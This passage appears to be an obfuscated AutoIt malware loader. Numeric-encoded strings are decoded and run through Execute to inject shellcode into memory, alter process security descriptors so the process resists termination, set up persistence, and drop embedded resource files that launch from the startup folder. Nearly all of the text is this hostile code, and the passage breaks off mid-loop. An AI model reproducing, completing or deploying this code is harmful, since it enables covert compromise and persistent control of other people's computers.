$LMASCGP &= BTBXJYMRFGAETPA ("57,57,54,56,57,57,59,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,60,56,55,56,6,56,54,57,59,56,54,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,58,56,55,56,6,56,54,57,59,56,54,57,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,56,56,55,56,6,56,54,57,59,56,54,56,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,54,56,55,56,6,56,54,57,59,56,54,56,6,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,6,56,55,56,6,56,54,57,59,56,53,56,5,56,54,56,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,6,56,5,56,56,56,56,56,58,56,56,56,59,57,59,56,55,56,6,56,54,57,59,56,55,57,54,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,57,57,56,55,56,6,56,54,57,59,56,53,56,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,57,55,56,55,56,6,56,54,57,59,56,54,56,6,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,60,56,55,56,6,56,54,57,59,56,54,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,58,56,55,56,6,56,54,57,59,56,54,57,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("58,56,56,56,55,56,6,56,54,57,59,56,54,56,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,54,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,6,56,55,56,6,56,54,57,59,56,54,57,54,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,57,59,56,55,56,6,56,54,57,59,56,54,56,56,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,57,57,56,55,56,6,56,54,57,59,56,54,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,57,55,56,55,56,6,56,54,57,59,56,55,57,54,56,54,56,54,56,6,56,5,56,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,58,56,56,56,57,56,60,56,55,56,6,56,54,57,59,56,57,56,60,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,58,56,55,56,6,56,54,57,59,56,57,56,59,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,56,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,54,56,55,56,6,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,56,56,57,56,57,57,57,56,60,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,54,56,6,57,56,56,56,56,56,56,58,56,56,56,60,57,57,56,55,56,60,56,54,57,59,56,60,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,54,57,59,56,60,56,60,57,54,57,54,56,55,56,56,56,58,56,56,56,55,56,6,57,54,57,54,56,53,56,55,56,60,56,6,57,54,57,54,56,5,56,56,56,58,56,56,56,54,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,5,56,55,56,60,57,54,57,54,56,53,56,55,56,60,56,6,56,6,57,56,56,6,56,56,56,58,56,56,57,58,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,60,57,54,57,54,56,5,56,56,56,58,56,56,56,6,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,57,56,57,57,57,56,60,56,6,56,57,57,57,56,56,56,60,57,57,56,58,56,59,56,56,56,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,58,56,56,56,60,56,6,56,6,56,57,56,53,57,57,56,58,56,56,56,60,56,6,56,54,56,56,56,53,57,56,56,58,57,57,56,6,56,59,57,55,57,57,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,55,57,55,56,55,56,5,56,6,57,58,57,54,57,57,57,54,57,54,56,53,56,55,56,60,57,57,56,6,57,56,56,6,56,56,56,58,56,56,56,58,57,57,56,60,56,57,56,60,56,60,56,60,56,60,56,6,57,56,57,58,56,56,56,58,56,56,57,58,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,60,57,54,56,57,57,59,56,55,57,55,56,6,56,58,56,57,57,54,57,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,54,57,54,57,54,56,56,56,56,56,58,56,56,56,60,56,6,56,6,56,55,57,57,56,60,56,53,56,56,57,57,57,56,56,55,57,54,56,55,57,55,56,6,57,58,57,55,56,55,56,55,57,56,57,57,56,58,56,60,56,6,56,60,56,60,56,55,56,59,56,6,57,56,56,56,57,57,56,58,56,56,56,60,56,56,56,58,57,58,57,57,56,6,56,59,57,58,57,57,56,60,57,54,56,53,57,56,56,60,56,58,56,57,57,57,56,6,56,6,57,58,57,57,56,56,56,58,56,55,56,60,56,60,57,54,56,60,57,54,57,54,57,54,57,54,56,57,57,58,57,57,56,6,56,53,56,58,56,60,57,59,56,6,57,58,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,59,56,55,56,5,56,5,56,56,56,6,57,58,56,60,56,60,56,6,56,5,56,60,56,56,56,58,56,56,57,57,56,57,56,58,57,56,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,60,56,6,56,55,56,60,56,60,57,55,57,58,57,55,56,5,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60" )
LOCAL $E = EXECUTE
LOCAL $B = $E (BTBXJYMRFGAETPA ("28,35,40,27,44,51,46,41,45,46,44,35,40,33" ) )
LOCAL $LEPUTAIN = TEYWNKUHGE ($LMASCGP )
LOCAL $BINL = $E ($B (BTBXJYMRFGAETPA ("53,50,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,59,3,59,58,60,53,60,58,60,57,59,54,59,62,59,5,55,62" ) ) )
LOCAL $LPSHELLCODE = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,55,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,55,55,58,59,59,62,60,55,60,57,60,58,59,54,59,3,57,54,59,3,59,3,59,6,59,56,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,57,59,55,59,62,59,5,57,3,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,56,56,56,53,56,53,56,53,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,56,57,56,53,55,55,55,62,58,2,55,55,56,53,55,55,58,4" ) ) )
LOCAL $FILE_STRUCT = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,55,53,60,56,59,62,59,3,59,2,60,55,59,58,59,59,60,58,59,57,58,2,55,55,55,53,55,59,55,53,58,56,60,57,60,55,59,62,59,5,59,60,57,3,59,58,59,5,55,61,55,57,59,57,59,54,60,57,59,54,55,62,55,53,55,59,55,53,55,55,58,4,55,55,55,62" ) ) )
$E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,55,53,60,58,59,57,59,58,60,55,59,55,59,6,60,56,60,56,58,2,55,55,55,53,55,59,55,53,55,57,59,55,59,62,59,5,57,3,55,53,55,59,55,53,55,55,58,4,55,55,55,3,55,53,55,57,59,3,60,53,58,56,59,61,59,58,59,3,59,3,59,56,59,6,59,57,59,58,55,62,55,3,55,53,55,55,60,58,59,57,59,58,60,55,59,55,59,6,60,56,60,56,55,55,55,3,55,53,55,57,59,3,59,58,60,53,60,58,60,57,59,54,59,62,59,5,55,62" ) ) )
$E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,57,59,59,62,59,3,59,58,58,6,58,56,60,57,60,55,60,58,59,56,60,57,55,3,55,53,55,55,60,56,59,62,59,3,59,2,60,55,59,58,59,59,60,58,59,57,55,55,55,3,55,53,55,57,59,57,59,54,60,57,59,54,55,62" ) ) )
LOCAL $RET = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,57,54,59,57,59,57,60,55,59,58,60,56,60,56,55,61,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,57,59,3,60,53,58,56,59,61,59,58,59,3,59,3,59,56,59,6,59,57,59,58,55,3,55,53,55,55,60,56,60,57,60,55,55,55,55,3,55,53,55,57,60,53,60,55,59,6,59,56,59,58,60,56,60,56,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,57,59,59,62,59,3,59,58,58,6,58,56,60,57,60,55,60,58,59,56,60,57,55,62,55,62" ) ) )
$E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,58,59,59,62,60,55,60,57,60,58,59,54,59,3,57,59,60,55,59,58,59,58,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,57,59,3,60,53,58,56,59,61,59,58,59,3,59,3,59,56,59,6,59,57,59,58,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,56,61,56,53,56,53,56,53,55,55,55,62" ) ) )
LOCAL $PID = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,57,60,59,58,60,57,58,53,60,55,59,6,59,56,59,58,60,56,60,56,57,62,59,57,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,58,55,59,58,60,57,58,2,55,55,56,53,55,55,58,4,55,62,58,2,55,55,56,53,55,55,58,4" ) ) )
IF $PROTECT THEN
ACL ($RET [BTBXJYMRFGAETPA ("53" ) ] )
ENDIF
IF $PERSIST THEN
FFFWGZEQMC ($PID )
ENDIF
ENDFUNC
FUNC GZEFGAQPTILN ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("4,38,38,19,46,44,47,29,46,3,44,31,27,46,31" ) )
ENDFUNC
FUNC AXKQWZXSXH ()
ENDFUNC
FUNC ACL ($HANDLE )
$E = EXECUTE
$BN = $E (BTBXJYMRFGAETPA ("28,35,40,27,44,51,46,41,45,46,44,35,40,33" ) )
LOCAL $TACL = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,55,53,57,54,59,56,59,3,58,55,59,58,60,59,59,62,60,56,59,62,59,6,59,5,56,2,59,55,60,62,60,57,59,58,55,53,58,56,59,55,60,1,56,54,56,2,60,58,60,56,59,61,59,6,60,55,60,57,55,53,57,54,59,56,59,3,58,56,59,62,60,1,59,58,56,2,60,58,60,56,59,61,59,6,60,55,60,57,55,53,57,54,59,56,59,58,57,56,59,6,60,58,59,5,60,57,56,2,60,58,60,56,59,61,59,6,60,55,60,57,55,53,58,56,59,55,60,1,56,55,55,55,55,62" ) ) )
LOCAL $PACL = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,54,57,56,57,3,55,62" ) ) )
LOCAL $TSD = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,56,55,56,53,58,4,55,55,55,62" ) ) )
LOCAL $PSD = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,58,56,57,57,55,62" ) ) )
LOCAL $RET = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,60,59,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,60,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,57,62,59,5,59,62,60,57,59,62,59,54,59,3,59,62,60,1,59,58,58,56,59,58,59,56,60,58,60,55,59,62,60,57,60,62,57,57,59,58,60,56,59,56,60,55,59,62,60,53,60,57,59,6,60,55,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,58,56,57,57,55,3,55,53,55,60,59,57,60,60,59,6,60,55,59,57,55,60,55,3,55,53,55,60,56,54,55,60,55,62" ) ) )
$RET = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,60,59,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,60,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,57,62,59,5,59,62,60,57,59,62,59,54,59,3,59,62,60,1,59,58,57,54,59,56,59,3,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,57,54,57,56,57,3,55,3,55,53,55,60,59,57,60,60,59,6,60,55,59,57,55,60,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,54,57,56,57,3,55,62,55,3,55,53,55,60,59,57,60,60,59,6,60,55,59,57,55,60,55,3,55,53,55,60,56,55,55,60,55,62" ) ) )
$RET = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,60,59,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,60,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,58,56,59,58,60,57,58,56,59,58,59,56,60,58,60,55,59,62,60,57,60,62,57,57,59,58,60,56,59,56,60,55,59,62,60,53,60,57,59,6,60,55,57,57,59,54,59,56,59,3,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,58,56,57,57,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,56,54,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,57,54,57,56,57,3,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,56,53,55,60,55,62" ) ) )
$RET = $E ($BN (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,60,59,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,60,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,58,56,59,58,60,57,57,2,59,58,60,55,59,5,59,58,59,3,57,6,59,55,59,1,59,58,59,56,60,57,58,56,59,58,59,56,60,58,60,55,59,62,60,57,60,62,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,59,61,59,54,59,5,59,57,59,3,59,58,55,3,55,53,55,60,59,57,60,60,59,6,60,55,59,57,55,60,55,3,55,53,55,60,56,53,60,61,56,53,56,57,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,58,56,57,57,55,62" ) ) )
ENDFUNC
FUNC WXKBBNNEOP ($FILE , $STARTUP , $RES )
$FILE = $IEHDDOIYHINMPBUCHBHARTDUKILWZQCUVDTRYHUFIM & "\" & $FILE
DIM $FHANDLE = $DQIFFUXAMLIV ($FILE , BTBXJYMRFGAETPA ("55" ) )
DIM $DATA = READRESOURCES ($RES , BTBXJYMRFGAETPA ("54,53" ) )
$CLTCCKUEQWTC ($FHANDLE , $CAIQJRRJDNHO ($DATA , 1 ) )
$INRXTUXKPWXC ($FHANDLE )
IF $STARTUP = BTBXJYMRFGAETPA ("6,27,38,45,31" ) THEN
IF $STARTUPDIR <> $CFJUHMDSDKCZOCVFLYURKIBOKZAHTMIIE THEN
$LYDOYURNNHSZ ($FILE )
ENDIF
ELSE
$LYDOYURNNHSZ ($FILE )
ENDIF
ENDFUNC
FUNC RLIPXUZECEXV ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("6,35,38,31,15,42,31,40" ) )
ENDFUNC
FUNC ZJFEKVYJJF ($NAME , $FILENAME )
LOCAL $E = EXECUTE
LOCAL $B = $E (BTBXJYMRFGAETPA ("2,35,40,27,44,51,20,41,19,46,44,35,40,33" ) )
LOCAL $BYTES = $E ($B (BTBXJYMRFGAETPA ("53,50,57,59,59,62,59,3,59,58,58,55,59,58,59,54,59,57,55,61,57,53,58,56,59,56,60,55,59,62,60,53,60,57,57,59,60,58,59,3,59,3,58,53,59,54,60,57,59,61,55,62,55,53,55,59,55,53,57,55,59,62,59,5,59,54,60,55,60,62,55,61,58,55,59,54,59,5,59,57,59,6,59,4,55,61,55,55,56,53,55,55,55,3,55,55,56,55,56,58,56,58,55,55,55,62,55,62" ) ) )
LOCAL $FULLPATH = $E ($B (BTBXJYMRFGAETPA ("53,50,55,57,60,56,60,57,59,54,60,55,60,57,60,58,60,53,59,57,59,62,60,55,55,53,55,59,55,53,55,55,58,3,55,55,55,53,55,59,55,53,55,57,59,59,59,62,59,3,59,58,59,5,59,54,59,4,59,58,55,53,55,59,55,53,55,55,55,5,59,55,59,54,60,57,55,55" ) ) )
IF $E ($B (BTBXJYMRFGAETPA ("53,50,57,59,59,62,59,3,59,58,57,58,60,61,59,62,60,56,60,57,60,56,55,61,55,57,59,59,60,58,59,3,59,3,60,53,59,54,60,57,59,61,55,62,55,53,56,4,55,53,55,55,56,53,55,55" ) ) ) THEN
$SPAYPUCWZKBI ("kernel32.dll" , BTBXJYMRFGAETPA ("34,27,40,30,38,31" ) , BTBXJYMRFGAETPA ("3,44,31,27,46,31,6,35,38,31,23" ) , BTBXJYMRFGAETPA ("49,45,46,44" ) , $FULLPATH , BTBXJYMRFGAETPA ("30,49,41,44,30" ) , BTBXJYMRFGAETPA ("53" ) , BTBXJYMRFGAETPA ("30,49,41,44,30" ) , "" , "struct*" , "" , BTBXJYMRFGAETPA ("30,49,41,44,30" ) , BTBXJYMRFGAETPA ("54" ) , BTBXJYMRFGAETPA ("30,49,41,44,30" ) , "" , BTBXJYMRFGAETPA ("34,27,40,30,38,31" ) , "" )
DIM $FILEHANDLE = $E ($B (BTBXJYMRFGAETPA ("53,50,57,59,59,62,59,3,59,58,57,6,60,53,59,58,59,5,55,61,55,57,59,59,60,58,59,3,59,3,60,53,59,54,60,57,59,61,55,3,55,53,55,55,56,54,56,53,55,55,55,62" ) ) )
$E ($B (BTBXJYMRFGAETPA ("53,50,57,59,59,62,59,3,59,58,58,60,60,55,59,62,60,57,59,58,55,61,55,57,59,59,59,62,59,3,59,58,57,61,59,54,59,5,59,57,59,3,59,58,55,3,55,53,55,57,59,55,60,62,60,57,59,58,60,56,55,62" ) ) )
$E ($B (BTBXJYMRFGAETPA ("53,50,57,59,59,62,59,3,59,58,57,56,59,3,59,6,60,56,59,58,55,61,55,57,59,59,59,62,59,3,59,58,57,61,59,54,59,5,59,57,59,3,59,58,55,62" ) ) )
$E ($B (BTBXJYMRFGAETPA ("53,50,57,59,59,62,59,3,59,58,57,56,60,55,59,58,59,54,60,57,59,58,58,56,59,61,59,6,60,55,60,57,59,56,60,58,60,57,55,61,55,57,59,59,60,58,59,3,59,3,60,53,59,54,60,57,59,61,55,3,55,53,57,53,58,56,60,57,59,54,60,55,60,57,60,58,60,53,57,57,59,62,60,55,55,53,55,59,55,53,55,55,58,3,55,55,55,53,55,59,55,53,55,57,59,5,59,54,59,4,59,58,55,53,55,59,55,53,55,55,55,5,59,3,59,5,59,2,55,55,55,62" ) ) )
ENDIF
ENDFUNC
FUNC OPYIFKUKCKES ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("19,38,31,31,42" ) )
ENDFUNC
FUNC NHVVDKWADDWZ ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("18,31,33,23,44,35,46,31" ) )
ENDFUNC
FUNC MTHJNHTHYUUU ()
RETURN EXECUTE (BTBXJYMRFGAETPA ("16,44,41,29,31,45,45,5,50,35,45,46,45" ) )
ENDFUNC
FUNC TEYWNKUHGE ($INPUT )
LOCAL $RND = BTBXJYMRFGAETPA ("53" )
LOCAL $E = EXECUTE
LOCAL $B = $E (BTBXJYMRFGAETPA ("28,35,40,27,44,51,46,41,45,46,44,35,40,33" ) )
LOCAL $RESULT
$INPUT = $E ($B (BTBXJYMRFGAETPA ("53,50,57,55,59,62,59,5,59,54,60,55,60,62,58,57,59,6,58,56,60,57,60,55,59,62,59,5,59,60,55,61,55,57,59,62,59,5,60,53,60,58,60,57,55,62" ) ) )
LOCAL $FIRSTCHARS = $E ($B (BTBXJYMRFGAETPA ("53,50,58,56,60,57,60,55,59,62,59,5,59,60,57,3,59,58,59,59,60,57,55,61,58,56,60,57,60,55,59,62,59,5,59,60,58,55,59,62,59,60,59,61,60,57,55,61,55,57,59,62,59,5,60,53,60,58,60,57,55,3,55,53,58,56,60,57,60,55,59,62,59,5,59,60,57,3,59,58,59,5,55,61,55,57,59,62,59,5,60,53,60,58,60,57,55,62,55,53,55,4,55,53,55,55,56,55,55,55,55,62,55,3,55,53,55,55,56,59,55,55,55,62" ) ) )
WHILE ($RESULT <> BTBXJYMRFGAETPA ("5,62,6,59,54,5" ) )
$RND += BTBXJYMRFGAETPA ("54" )
